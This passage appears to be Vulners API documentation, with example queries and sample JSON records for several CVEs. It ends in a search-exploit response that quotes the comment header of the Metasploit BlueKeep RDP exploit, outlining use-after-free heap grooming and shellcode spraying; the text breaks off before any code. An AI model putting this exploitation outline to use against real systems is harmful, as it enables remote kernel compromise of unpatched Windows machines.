Fixed version     : 1.0.1g\\n';\n}\nhotfix_check_fversion_end();\n\nif (info)\n{\n  if (report_verbosity > 0) security_warning(port:port, extra:info);\n  else security_warning(port);\n}\nelse audit(AUDIT_INST_PATH_NOT_VULN, 'Websense Email Security', version, path);\n",
        "cvss": {
            "score": 5.0,
            "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"
        },
        "vhref": "https://vulners.com/nessus/WEBSENSE_EMAIL_SECURITY_HEARTBLEED.NASL"
    }
]

Get full information about a document by id

You can get full information on a bulletin using a specific identifier:

Query:

POST /api/v3/search/id/

Query example:

curl -XPOST https://vulners.com/api/v3/search/id -H  'Content-Type: application/json' -d '{
"id": "CVE-2017-14174", 
fields": ["*"],
"apiKey": "{API key}"
}'

CVE_2017_14174 = vulners_api.get_bulletin("CVE-2017-14174",  fields=["*"])
CVE_2017_14174 = vulners_api.document("CVE-2017-14174",  fields=["*"])
{
    "id": "CVE-2017-14174",
    "bulletinFamily": "NVD",
    "title": "CVE-2017-14174",
    "description": "In coders/psd.c in ImageMagick 7.0.7-0 Q16, a DoS in ReadPSDLayersInternal() due to lack of an EOF (End of File) check might cause huge CPU consumption. When a crafted PSD file, which claims a large \"length\" field in the header but does not contain sufficient backing data, is provided, the loop over \"length\" would consume huge CPU resources, since there is no EOF check inside the loop.",
    "published": "2017-09-07T06:29:00",
    "modified": "2020-10-23T18:16:00",
    "cvss": {
        "score": 7.1,
        "vector": "AV:N/AC:M/Au:N/C:N/I:N/A:C"
    },
    "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2017-14174",
    "reporter": "cve@mitre.org",
    "references": [
        "https://lists.debian.org/debian-lts-announce/2019/05/msg00015.html",
        "https://lists.debian.org/debian-lts-announce/2020/09/msg00007.html",
        "https://usn.ubuntu.com/3681-1/",
        "https://github.com/ImageMagick/ImageMagick/commit/f68a98a9d385838a1c73ec960a14102949940a64",
        "https://github.com/ImageMagick/ImageMagick/commit/04a567494786d5bb50894fc8bb8fea0cf496bea8",
        "https://security.gentoo.org/glsa/201711-07",
        "https://github.com/ImageMagick/ImageMagick/issues/714"
    ],
    "cvelist": [
        "CVE-2017-14174"
    ],
    "type": "cve",
    "lastseen": "2021-02-02T06:36:36",
    "edition": 7,
    "viewCount": 340,
    "enchantments": {
        "dependencies": {
            "references": [
                {
                    "type": "suse",
                    "idList": [
                        "SUSE-SU-2018:0017-1",
                        "OPENSUSE-SU-2018:0025-1"
                    ]
                },
                {
                    "type": "openvas",
                    "idList": [
                        "OPENVAS:1361412562310891785",
                        "OPENVAS:1361412562310851675",
                        "OPENVAS:1361412562310891131",
                        "OPENVAS:1361412562310843556"
                    ]
                },
                {
                    "type": "nessus",
                    "idList": [
                        "OPENSUSE-2018-7.NASL",
                        "UBUNTU_USN-3681-1.NASL",
                        "SUSE_SU-2018-0017-1.NASL",
                        "DEBIAN_DLA-1131.NASL",
                        "SUSE_SU-2018-0043-1.NASL",
                        "DEBIAN_DLA-1785.NASL",
                        "DEBIAN_DLA-2366.NASL",
                        "GENTOO_GLSA-201711-07.NASL"
                    ]
                },
                {
                    "type": "debian",
                    "idList": [
                        "DEBIAN:DLA-1131-1:F4DB2",
                        "DEBIAN:DLA-1785-1:40B92",
                        "DEBIAN:DLA-2366-1:3ECD0"
                    ]
                },
                {
                    "type": "gentoo",
                    "idList": [
                        "GLSA-201711-07"
                    ]
                },
                {
                    "type": "ubuntu",
                    "idList": [
                        "USN-3681-1"
                    ]
                },
                {
                    "type": "cloudfoundry",
                    "idList": [
                        "CFOUNDRY:C94493DDE348FDF28E8866771E34ED7C"
                    ]
                }
            ],
            "modified": "2021-02-02T06:36:36",
            "rev": 2
        },
        "score": {
            "value": 6.1,
            "vector": "NONE",
            "modified": "2021-02-02T06:36:36",
            "rev": 2
        },
        "vulnersScore": 6.1
    },
    "cpe": [
        "cpe:/o:canonical:ubuntu_linux:18.04",
        "cpe:/o:canonical:ubuntu_linux:17.10",
        "cpe:/o:debian:debian_linux:10.0",
        "cpe:/o:canonical:ubuntu_linux:16.04",
        "cpe:/a:imagemagick:imagemagick:7.0.7-0",
        "cpe:/o:canonical:ubuntu_linux:14.04",
        "cpe:/o:debian:debian_linux:9.0"
    ],
    "affectedSoftware": [
        {
            "cpeName": "imagemagick:imagemagick",
            "name": "imagemagick",
            "operator": "eq",
            "version": "7.0.7-0"
        },
        {
            "cpeName": "canonical:ubuntu_linux",
            "name": "canonical ubuntu linux",
            "operator": "eq",
            "version": "17.10"
        },
        {
            "cpeName": "canonical:ubuntu_linux",
            "name": "canonical ubuntu linux",
            "operator": "eq",
            "version": "16.04"
        },
        {
            "cpeName": "canonical:ubuntu_linux",
            "name": "canonical ubuntu linux",
            "operator": "eq",
            "version": "14.04"
        },
        {
            "cpeName": "canonical:ubuntu_linux",
            "name": "canonical ubuntu linux",
            "operator": "eq",
            "version": "18.04"
        },
        {
            "cpeName": "debian:debian_linux",
            "name": "debian debian linux",
            "operator": "eq",
            "version": "10.0"
        },
        {
            "cpeName": "debian:debian_linux",
            "name": "debian debian linux",
            "operator": "eq",
            "version": "9.0"
        }
    ],
    "cvss2": {
        "cvssV2": {
            "accessComplexity": "MEDIUM",
            "accessVector": "NETWORK",
            "authentication": "NONE",
            "availabilityImpact": "COMPLETE",
            "baseScore": 7.1,
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:C",
            "version": "2.0"
        },
        "exploitabilityScore": 8.6,
        "impactScore": 6.9,
        "obtainAllPrivilege": false,
        "obtainOtherPrivilege": false,
        "obtainUserPrivilege": false,
        "severity": "HIGH",
        "userInteractionRequired": true
    },
    "cvss3": {
        "cvssV3": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 6.5,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
            "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 3.6
    },
    "cpe23": [
        "cpe:2.3:o:debian:debian_linux:9.0:*:*:*:*:*:*:*",
        "cpe:2.3:o:canonical:ubuntu_linux:17.10:*:*:*:*:*:*:*",
        "cpe:2.3:a:imagemagick:imagemagick:7.0.7-0:*:*:*:*:*:*:*",
        "cpe:2.3:o:canonical:ubuntu_linux:16.04:*:*:*:lts:*:*:*",
        "cpe:2.3:o:debian:debian_linux:10.0:*:*:*:*:*:*:*",
        "cpe:2.3:o:canonical:ubuntu_linux:18.04:*:*:*:lts:*:*:*",
        "cpe:2.3:o:canonical:ubuntu_linux:14.04:*:*:*:esm:*:*:*"
    ],
    "cwe": [
        "CWE-834"
    ],
    "scheme": null,
    "cpeConfiguration": {
        "CVE_data_version": "4.0",
        "nodes": [
            {
                "cpe_match": [
                    {
                        "cpe23Uri": "cpe:2.3:a:imagemagick:imagemagick:7.0.7-0:*:*:*:*:*:*:*",
                        "vulnerable": true
                    }
                ],
                "operator": "OR"
            },
            {
                "cpe_match": [
                    {
                        "cpe23Uri": "cpe:2.3:o:canonical:ubuntu_linux:17.10:*:*:*:*:*:*:*",
                        "vulnerable": true
                    },
                    {
                        "cpe23Uri": "cpe:2.3:o:canonical:ubuntu_linux:14.04:*:*:*:esm:*:*:*",
                        "vulnerable": true
                    },
                    {
                        "cpe23Uri": "cpe:2.3:o:debian:debian_linux:10.0:*:*:*:*:*:*:*",
                        "vulnerable": true
                    },
                    {
                        "cpe23Uri": "cpe:2.3:o:canonical:ubuntu_linux:16.04:*:*:*:lts:*:*:*",
                        "vulnerable": true
                    },
                    {
                        "cpe23Uri": "cpe:2.3:o:canonical:ubuntu_linux:18.04:*:*:*:lts:*:*:*",
                        "vulnerable": true
                    },
                    {
                        "cpe23Uri": "cpe:2.3:o:debian:debian_linux:9.0:*:*:*:*:*:*:*",
                        "vulnerable": true
                    }
                ],
                "operator": "OR"
            }
        ]
    },
    "extraReferences": [
        {
            "name": "USN-3681-1",
            "refsource": "UBUNTU",
            "tags": [
                "Third Party Advisory"
            ],
            "url": "https://usn.ubuntu.com/3681-1/"
        },
        {
            "name": "[debian-lts-announce] 20200907 [SECURITY] [DLA 2366-1] imagemagick security update",
            "refsource": "MLIST",
            "tags": [
                "Third Party Advisory"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2020/09/msg00007.html"
        },
        {
            "name": "GLSA-201711-07",
            "refsource": "GENTOO",
            "tags": [
                "Third Party Advisory"
            ],
            "url": "https://security.gentoo.org/glsa/201711-07"
        },
        {
            "name": "https://github.com/ImageMagick/ImageMagick/issues/714",
            "refsource": "CONFIRM",
            "tags": [
                "Patch",
                "Third Party Advisory",
                "Exploit",
                "Issue Tracking"
            ],
            "url": "https://github.com/ImageMagick/ImageMagick/issues/714"
        },
        {
            "name": "[debian-lts-announce] 20190514 [SECURITY] [DLA 1785-1] imagemagick security update",
            "refsource": "MLIST",
            "tags": [
                "Third Party Advisory"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2019/05/msg00015.html"
        },
        {
            "name": "https://github.com/ImageMagick/ImageMagick/commit/f68a98a9d385838a1c73ec960a14102949940a64",
            "refsource": "CONFIRM",
            "tags": [
                "Third Party Advisory",
                "Issue Tracking"
            ],
            "url": "https://github.com/ImageMagick/ImageMagick/commit/f68a98a9d385838a1c73ec960a14102949940a64"
        },
        {
            "name": "https://github.com/ImageMagick/ImageMagick/commit/04a567494786d5bb50894fc8bb8fea0cf496bea8",
            "refsource": "CONFIRM",
            "tags": [
                "Patch",
                "Third Party Advisory",
                "Issue Tracking"
            ],
            "url": "https://github.com/ImageMagick/ImageMagick/commit/04a567494786d5bb50894fc8bb8fea0cf496bea8"
        }
    ],
    "immutableFields": []
}

Get full information about a document list by id

Same as in the previous tip, but for a list. If you need complete information on a list of bulletins, simply specify the list of required documents identifiers the data of which you want to receive:

Query:

POST /api/v3/search/id/

Query example:

curl -XPOST https://vulners.com/api/v3/search/id -H  'Content-Type: application/json' -d '{
"id": [
    "CVE-2017-14174", 
    "CVE-2016-1175"], 
"fields": ["*"], 
"apiKey": "{API key}"
}'

CVE_DATA = vulners_api.get_multiple_bulletins(["CVE-2017-14174", "CVE-2016-1175"])
CVE_DATA = vulners_api.documentList(["CVE-2017-14174", "CVE-2016-1175"])
{
    "CVE-2016-1175": {
        "id": "CVE-2016-1175",
        "bulletinFamily": "NVD",
        "title": "CVE-2016-1175",
        "description": "Cross-site request forgery (CSRF) vulnerability in AQUOS Photo Player HN-PP150 1.02.00.04 through 1.03.01.04 allows remote attackers to hijack the authentication of arbitrary users.",
        "published": "2016-04-05T17:59:00",
        "modified": "2016-04-06T18:36:00",
        "cvss": {
            "score": 5.8,
            "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:P"
        },
        "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2016-1175",
        "reporter": "cve@mitre.org",
        "references": [
            "http://jvn.jp/en/jp/JVN47164236/index.html",
            "http://jvndb.jvn.jp/jvndb/JVNDB-2016-000039",
            "http://www.sharp.co.jp/support/photoplayer/fw_update.html"
        ],
        "cvelist": [
            "CVE-2016-1175"
        ],
        "type": "cve",
        "lastseen": "2021-02-02T06:28:02",
        "edition": 4,
        "viewCount": 2,
        "enchantments": {
            "dependencies": {
                "references": [
                    {
                        "type": "jvn",
                        "idList": [
                            "JVN:47164236"
                        ]
                    }
                ],
                "modified": "2021-02-02T06:28:02",
                "rev": 2
            },
            "score": {
                "value": 6.5,
                "vector": "NONE",
                "modified": "2021-02-02T06:28:02",
                "rev": 2
            },
            "vulnersScore": 6.5
        },
        "cpe": [
            "cpe:/o:sharp:aquos_hn-pp150_firmware:1.02.00.04",
            "cpe:/o:sharp:aquos_hn-pp150_firmware:1.03.01.04"
        ],
        "affectedSoftware": [
            {
                "cpeName": "sharp:aquos_hn-pp150_firmware",
                "name": "sharp aquos hn-pp150 firmware",
                "operator": "eq",
                "version": "1.02.00.04"
            },
            {
                "cpeName": "sharp:aquos_hn-pp150_firmware",
                "name": "sharp aquos hn-pp150 firmware",
                "operator": "eq",
                "version": "1.03.01.04"
            }
        ],
        "cvss2": {
            "cvssV2": {
                "accessComplexity": "MEDIUM",
                "accessVector": "NETWORK",
                "authentication": "NONE",
                "availabilityImpact": "PARTIAL",
                "baseScore": 5.8,
                "confidentialityImpact": "NONE",
                "integrityImpact": "PARTIAL",
                "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:P",
                "version": "2.0"
            },
            "exploitabilityScore": 8.6,
            "impactScore": 4.9,
            "obtainAllPrivilege": false,
            "obtainOtherPrivilege": false,
            "obtainUserPrivilege": false,
            "severity": "MEDIUM",
            "userInteractionRequired": true
        },
        "cvss3": {
            "cvssV3": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "NONE",
                "baseScore": 4.3,
                "baseSeverity": "MEDIUM",
                "confidentialityImpact": "NONE",
                "integrityImpact": "LOW",
                "privilegesRequired": "NONE",
                "scope": "UNCHANGED",
                "userInteraction": "REQUIRED",
                "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
                "version": "3.0"
            },
            "exploitabilityScore": 2.8,
            "impactScore": 1.4
        },
        "cpe23": [
            "cpe:2.3:o:sharp:aquos_hn-pp150_firmware:1.02.00.04:*:*:*:*:*:*:*",
            "cpe:2.3:o:sharp:aquos_hn-pp150_firmware:1.03.01.04:*:*:*:*:*:*:*"
        ],
        "cwe": [
            "CWE-352"
        ],
        "scheme": null,
        "affectedConfiguration": [
            {
                "cpeName": "sharp:aquos_hn-pp150",
                "name": "sharp aquos hn-pp150",
                "operator": "eq",
                "version": "-"
            }
        ],
        "cpeConfiguration": {
            "CVE_data_version": "4.0",
            "nodes": [
                {
                    "children": [
                        {
                            "cpe_match": [
                                {
                                    "cpe23Uri": "cpe:2.3:h:sharp:aquos_hn-pp150:-:*:*:*:*:*:*:*",
                                    "vulnerable": false
                                }
                            ],
                            "operator": "OR"
                        },
                        {
                            "cpe_match": [
                                {
                                    "cpe23Uri": "cpe:2.3:o:sharp:aquos_hn-pp150_firmware:1.03.01.04:*:*:*:*:*:*:*",
                                    "vulnerable": true
                                },
                                {
                                    "cpe23Uri": "cpe:2.3:o:sharp:aquos_hn-pp150_firmware:1.02.00.04:*:*:*:*:*:*:*",
                                    "vulnerable": true
                                }
                            ],
                            "operator": "OR"
                        }
                    ],
                    "operator": "AND"
                }
            ]
        },
        "extraReferences": [
            {
                "name": "JVN#47164236",
                "refsource": "JVN",
                "tags": [
                    "Vendor Advisory"
                ],
                "url": "http://jvn.jp/en/jp/JVN47164236/index.html"
            },
            {
                "name": "http://www.sharp.co.jp/support/photoplayer/fw_update.html",
                "refsource": "CONFIRM",
                "tags": [
                    "Vendor Advisory"
                ],
                "url": "http://www.sharp.co.jp/support/photoplayer/fw_update.html"
            },
            {
                "name": "JVNDB-2016-000039",
                "refsource": "JVNDB",
                "tags": [
                    "Vendor Advisory"
                ],
                "url": "http://jvndb.jvn.jp/jvndb/JVNDB-2016-000039"
            }
        ],
        "immutableFields": []
    },
    "CVE-2017-14174": {
        "id": "CVE-2017-14174",
        "bulletinFamily": "NVD",
        "title": "CVE-2017-14174",
        "description": "In coders/psd.c in ImageMagick 7.0.7-0 Q16, a DoS in ReadPSDLayersInternal() due to lack of an EOF (End of File) check might cause huge CPU consumption. When a crafted PSD file, which claims a large \"length\" field in the header but does not contain sufficient backing data, is provided, the loop over \"length\" would consume huge CPU resources, since there is no EOF check inside the loop.",
        "published": "2017-09-07T06:29:00",
        "modified": "2020-10-23T18:16:00",
        "cvss": {
            "score": 7.1,
            "vector": "AV:N/AC:M/Au:N/C:N/I:N/A:C"
        },
        "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2017-14174",
        "reporter": "cve@mitre.org",
        "references": [
            "https://lists.debian.org/debian-lts-announce/2019/05/msg00015.html",
            "https://lists.debian.org/debian-lts-announce/2020/09/msg00007.html",
            "https://usn.ubuntu.com/3681-1/",
            "https://github.com/ImageMagick/ImageMagick/commit/f68a98a9d385838a1c73ec960a14102949940a64",
            "https://github.com/ImageMagick/ImageMagick/commit/04a567494786d5bb50894fc8bb8fea0cf496bea8",
            "https://security.gentoo.org/glsa/201711-07",
            "https://github.com/ImageMagick/ImageMagick/issues/714"
        ],
        "cvelist": [
            "CVE-2017-14174"
        ],
        "type": "cve",
        "lastseen": "2021-02-02T06:36:36",
        "edition": 7,
        "viewCount": 340,
        "enchantments": {
            "dependencies": {
                "references": [
                    {
                        "type": "suse",
                        "idList": [
                            "SUSE-SU-2018:0017-1",
                            "OPENSUSE-SU-2018:0025-1"
                        ]
                    },
                    {
                        "type": "openvas",
                        "idList": [
                            "OPENVAS:1361412562310891785",
                            "OPENVAS:1361412562310851675",
                            "OPENVAS:1361412562310891131",
                            "OPENVAS:1361412562310843556"
                        ]
                    },
                    {
                        "type": "nessus",
                        "idList": [
                            "OPENSUSE-2018-7.NASL",
                            "UBUNTU_USN-3681-1.NASL",
                            "SUSE_SU-2018-0017-1.NASL",
                            "DEBIAN_DLA-1131.NASL",
                            "SUSE_SU-2018-0043-1.NASL",
                            "DEBIAN_DLA-1785.NASL",
                            "DEBIAN_DLA-2366.NASL",
                            "GENTOO_GLSA-201711-07.NASL"
                        ]
                    },
                    {
                        "type": "debian",
                        "idList": [
                            "DEBIAN:DLA-1131-1:F4DB2",
                            "DEBIAN:DLA-1785-1:40B92",
                            "DEBIAN:DLA-2366-1:3ECD0"
                        ]
                    },
                    {
                        "type": "gentoo",
                        "idList": [
                            "GLSA-201711-07"
                        ]
                    },
                    {
                        "type": "ubuntu",
                        "idList": [
                            "USN-3681-1"
                        ]
                    },
                    {
                        "type": "cloudfoundry",
                        "idList": [
                            "CFOUNDRY:C94493DDE348FDF28E8866771E34ED7C"
                        ]
                    }
                ],
                "modified": "2021-02-02T06:36:36",
                "rev": 2
            },
            "score": {
                "value": 6.1,
                "vector": "NONE",
                "modified": "2021-02-02T06:36:36",
                "rev": 2
            },
            "vulnersScore": 6.1
        },
        "cpe": [
            "cpe:/o:canonical:ubuntu_linux:18.04",
            "cpe:/o:canonical:ubuntu_linux:17.10",
            "cpe:/o:debian:debian_linux:10.0",
            "cpe:/o:canonical:ubuntu_linux:16.04",
            "cpe:/a:imagemagick:imagemagick:7.0.7-0",
            "cpe:/o:canonical:ubuntu_linux:14.04",
            "cpe:/o:debian:debian_linux:9.0"
        ],
        "affectedSoftware": [
            {
                "cpeName": "imagemagick:imagemagick",
                "name": "imagemagick",
                "operator": "eq",
                "version": "7.0.7-0"
            },
            {
                "cpeName": "canonical:ubuntu_linux",
                "name": "canonical ubuntu linux",
                "operator": "eq",
                "version": "17.10"
            },
            {
                "cpeName": "canonical:ubuntu_linux",
                "name": "canonical ubuntu linux",
                "operator": "eq",
                "version": "16.04"
            },
            {
                "cpeName": "canonical:ubuntu_linux",
                "name": "canonical ubuntu linux",
                "operator": "eq",
                "version": "14.04"
            },
            {
                "cpeName": "canonical:ubuntu_linux",
                "name": "canonical ubuntu linux",
                "operator": "eq",
                "version": "18.04"
            },
            {
                "cpeName": "debian:debian_linux",
                "name": "debian debian linux",
                "operator": "eq",
                "version": "10.0"
            },
            {
                "cpeName": "debian:debian_linux",
                "name": "debian debian linux",
                "operator": "eq",
                "version": "9.0"
            }
        ],
        "cvss2": {
            "cvssV2": {
                "accessComplexity": "MEDIUM",
                "accessVector": "NETWORK",
                "authentication": "NONE",
                "availabilityImpact": "COMPLETE",
                "baseScore": 7.1,
                "confidentialityImpact": "NONE",
                "integrityImpact": "NONE",
                "vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:C",
                "version": "2.0"
            },
            "exploitabilityScore": 8.6,
            "impactScore": 6.9,
            "obtainAllPrivilege": false,
            "obtainOtherPrivilege": false,
            "obtainUserPrivilege": false,
            "severity": "HIGH",
            "userInteractionRequired": true
        },
        "cvss3": {
            "cvssV3": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "HIGH",
                "baseScore": 6.5,
                "baseSeverity": "MEDIUM",
                "confidentialityImpact": "NONE",
                "integrityImpact": "NONE",
                "privilegesRequired": "NONE",
                "scope": "UNCHANGED",
                "userInteraction": "REQUIRED",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
                "version": "3.1"
            },
            "exploitabilityScore": 2.8,
            "impactScore": 3.6
        },
        "cpe23": [
            "cpe:2.3:o:debian:debian_linux:9.0:*:*:*:*:*:*:*",
            "cpe:2.3:o:canonical:ubuntu_linux:17.10:*:*:*:*:*:*:*",
            "cpe:2.3:a:imagemagick:imagemagick:7.0.7-0:*:*:*:*:*:*:*",
            "cpe:2.3:o:canonical:ubuntu_linux:16.04:*:*:*:lts:*:*:*",
            "cpe:2.3:o:debian:debian_linux:10.0:*:*:*:*:*:*:*",
            "cpe:2.3:o:canonical:ubuntu_linux:18.04:*:*:*:lts:*:*:*",
            "cpe:2.3:o:canonical:ubuntu_linux:14.04:*:*:*:esm:*:*:*"
        ],
        "cwe": [
            "CWE-834"
        ],
        "scheme": null,
        "cpeConfiguration": {
            "CVE_data_version": "4.0",
            "nodes": [
                {
                    "cpe_match": [
                        {
                            "cpe23Uri": "cpe:2.3:a:imagemagick:imagemagick:7.0.7-0:*:*:*:*:*:*:*",
                            "vulnerable": true
                        }
                    ],
                    "operator": "OR"
                },
                {
                    "cpe_match": [
                        {
                            "cpe23Uri": "cpe:2.3:o:canonical:ubuntu_linux:17.10:*:*:*:*:*:*:*",
                            "vulnerable": true
                        },
                        {
                            "cpe23Uri": "cpe:2.3:o:canonical:ubuntu_linux:14.04:*:*:*:esm:*:*:*",
                            "vulnerable": true
                        },
                        {
                            "cpe23Uri": "cpe:2.3:o:debian:debian_linux:10.0:*:*:*:*:*:*:*",
                            "vulnerable": true
                        },
                        {
                            "cpe23Uri": "cpe:2.3:o:canonical:ubuntu_linux:16.04:*:*:*:lts:*:*:*",
                            "vulnerable": true
                        },
                        {
                            "cpe23Uri": "cpe:2.3:o:canonical:ubuntu_linux:18.04:*:*:*:lts:*:*:*",
                            "vulnerable": true
                        },
                        {
                            "cpe23Uri": "cpe:2.3:o:debian:debian_linux:9.0:*:*:*:*:*:*:*",
                            "vulnerable": true
                        }
                    ],
                    "operator": "OR"
                }
            ]
        },
        "extraReferences": [
            {
                "name": "USN-3681-1",
                "refsource": "UBUNTU",
                "tags": [
                    "Third Party Advisory"
                ],
                "url": "https://usn.ubuntu.com/3681-1/"
            },
            {
                "name": "[debian-lts-announce] 20200907 [SECURITY] [DLA 2366-1] imagemagick security update",
                "refsource": "MLIST",
                "tags": [
                    "Third Party Advisory"
                ],
                "url": "https://lists.debian.org/debian-lts-announce/2020/09/msg00007.html"
            },
            {
                "name": "GLSA-201711-07",
                "refsource": "GENTOO",
                "tags": [
                    "Third Party Advisory"
                ],
                "url": "https://security.gentoo.org/glsa/201711-07"
            },
            {
                "name": "https://github.com/ImageMagick/ImageMagick/issues/714",
                "refsource": "CONFIRM",
                "tags": [
                    "Patch",
                    "Third Party Advisory",
                    "Exploit",
                    "Issue Tracking"
                ],
                "url": "https://github.com/ImageMagick/ImageMagick/issues/714"
            },
            {
                "name": "[debian-lts-announce] 20190514 [SECURITY] [DLA 1785-1] imagemagick security update",
                "refsource": "MLIST",
                "tags": [
                    "Third Party Advisory"
                ],
                "url": "https://lists.debian.org/debian-lts-announce/2019/05/msg00015.html"
            },
            {
                "name": "https://github.com/ImageMagick/ImageMagick/commit/f68a98a9d385838a1c73ec960a14102949940a64",
                "refsource": "CONFIRM",
                "tags": [
                    "Third Party Advisory",
                    "Issue Tracking"
                ],
                "url": "https://github.com/ImageMagick/ImageMagick/commit/f68a98a9d385838a1c73ec960a14102949940a64"
            },
            {
                "name": "https://github.com/ImageMagick/ImageMagick/commit/04a567494786d5bb50894fc8bb8fea0cf496bea8",
                "refsource": "CONFIRM",
                "tags": [
                    "Patch",
                    "Third Party Advisory",
                    "Issue Tracking"
                ],
                "url": "https://github.com/ImageMagick/ImageMagick/commit/04a567494786d5bb50894fc8bb8fea0cf496bea8"
            }
        ],
        "immutableFields": []
    }
}

Search public available exploits

Using this method, you can get publicly available exploits from Vulners database by specifying vulnerability or software identifier:

Query:

POST /api/v3/search/lucene/

Query example for software identifier:

curl -XPOST https://vulners.com/api/v3/search/lucene/ -H  'Content-Type: application/json' -d '{
"query": "wordpress 4.7.0", 
"skip": 0, 
"size": 100, 
"fields": [
    "id", 
    "title", 
    "description", 
    "type", 
    "bulletinFamily", 
    "cvss", 
    "published", 
    "modified", 
    "lastseen", 
    "href", 
    "sourceHref", 
    "sourceData", 
    "cvelist", 
    "sourceData"], 
"apiKey": "{API key}"
}'

Query example for CVE (vulnerability):

curl -XPOST https://vulners.com/api/v3/search/lucene/ -H  'Content-Type: application/json' -d '{
"query": "CVE-2019-0708", 
"skip": 0, 
"size": 100, 
"fields": [
    "id", 
    "title", 
    "description", "type", 
    "bulletinFamily", 
    "cvss", 
    "published", 
    "modified", 
    "lastseen", 
    "href", 
    "sourceHref", 
    "sourceData", 
    "cvelist", 
    "sourceData"],  
"apiKey": "{API key}"
}'

Example with search method:

curl -XPOST https://vulners.com/api/v3/search/lucene/ -H  'Content-Type: application/json' -d '{
"query": "bulletinFamily:exploit AND wordpress 4.7.0", 
"skip": 0,
"size": 10,
"fields": [
    "id", 
    "title", 
    "description", 
    "type", 
    "bulletinFamily", 
    "cvss", 
    "published", 
    "modified", 
    "lastseen", 
    "href", 
    "sourceHref", 
    "sourceData", 
    "cvelist"], 
"apiKey": "{API key}"
}'
wordpress_exploits = vulners_api.find_exploit_all("wordpress 4.7.0")
cve_exploits = vulners_api.find_exploit_all("CVE-2019-0708")
search_exploits = vulners_api.find_all("bulletinFamily:exploit AND wordpress 4.7.0", limit=10)
wordpress_exploits = vulners_api.searchExploit("wordpress 4.7.0")
cve_exploits = vulners_api.searchExploit("CVE-2019-0708")
search_exploits = vulners_api.search("bulletinFamily:exploit AND wordpress 4.7.0", limit=10)
[
    {
        "lastseen": "2021-04-03T10:35:58",
        "bulletinFamily": "exploit",
        "description": "The RDP termdd.sys driver improperly handles binds to internal-only channel MS_T120, allowing a malformed Disconnect Provider Indication message to cause use-after-free. With a controllable data/size remote nonpaged pool spray, an indirect call gadget of the freed channel is used to achieve arbitrary code execution. Windows 7 SP1 and Windows Server 2008 R2 are the only currently supported targets. Windows 7 SP1 should be exploitable in its default configuration, assuming your target selection is correctly matched to the system's memory layout. HKLM\\SYSTEM\\CurrentControlSet\\Control\\TerminalServer\\Winstations\\RDP-Tcp\\fDisableCam *needs* to be set to 0 for exploitation to succeed against Windows Server 2008 R2. This is a non-standard configuration for normal servers, and the target will crash if the aforementioned Registry key is not set! If the target is crashing regardless, you will likely need to determine the non-paged pool base in kernel memory and set it as the GROOMBASE option.\n",
        "modified": "2021-02-02T10:15:46",
        "id": "MSF:EXPLOIT/WINDOWS/RDP/CVE_2019_0708_BLUEKEEP_RCE/",
        "href": "",
        "published": "2019-09-19T11:05:08",
        "type": "metasploit",
        "title": "CVE-2019-0708 BlueKeep RDP Remote Windows Kernel Use After Free",
        "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\n#  Exploitation and Caveats from zerosum0x0:\n#\n#    1. Register with channel MS_T120 (and others such as RDPDR/RDPSND) nominally.\n#    2. Perform a full RDP handshake, I like to wait for RDPDR handshake too (code in the .py)\n#    3. Free MS_T120 with the DisconnectProviderIndication message to MS_T120.\n#    4. RDP has chunked messages, so we use this to groom.\n#       a. Chunked messaging ONLY works properly when sent to RDPSND/MS_T120.\n#       b. However, on 7+, MS_T120 will not work and you have to use RDPSND.\n#           i. RDPSND only works when\n#              HKLM\\SYSTEM\\CurrentControlSet\\Control\\TerminalServer\\Winstations\\RDP-Tcp\\fDisableCam = 0\n#           ii. This registry key is not a default setting for server 2008 R2.\n#              We should use alternate groom channels or at least detect the\n#              channel in advance.\n#    5. Use chunked grooming to fit new data in the freed channel, account for\n#       the allocation header size (like 0x38 I think?). At offset 0x100? is where\n#       the \"call [rax]\" gadget will get its pointer from.\n#       a. The NonPagedPool (NPP) starts at a fixed address on XP-7\n#           i. Hot-swap memory is another problem because, with certain VMWare and\n#           Hyper-V setups, the OS allocates a buncha PTE stuff before the NPP\n#           start. This can be anywhere from 100 mb to gigabytes of offset\n#           before the NPP start.\n#       b. Set offset 0x100 to NPPStart+SizeOfGroomInMB\n#       c. Groom chunk the shellcode, at *(NPPStart+SizeOfGroomInMB) you need\n#          [NPPStart+SizeOfGroomInMB+8...payload]... because \"call [rax]\" is an\n#          indirect call\n#       d. We are limited to 0x400 payloads by channel chunk max size. My\n#          current shellcode is a twin shellcode with eggfinders. I spam the\n#          kernel payload and user payload, and if user payload is called first it\n#          will egghunt for the kernel payload.\n#    6. After channel hole is filled and the NPP is spammed up with shellcode,\n#       trigger the free by closing the socket.\n#\n#    TODO:\n#    * Detect OS specifics / obtain memory leak to determine NPP start address.\n#    * Write the XP/2003 portions grooming MS_T120.\n#    * Detect if RDPSND grooming is working or not?\n#    * Expand channels besides RDPSND/MS_T120 for grooming.\n#        See https://unit42.paloaltonetworks.com/exploitation-of-windows-cve-2019-0708-bluekeep-three-ways-to-write-data-into-the-kernel-with-rdp-pdu/\n#\n#    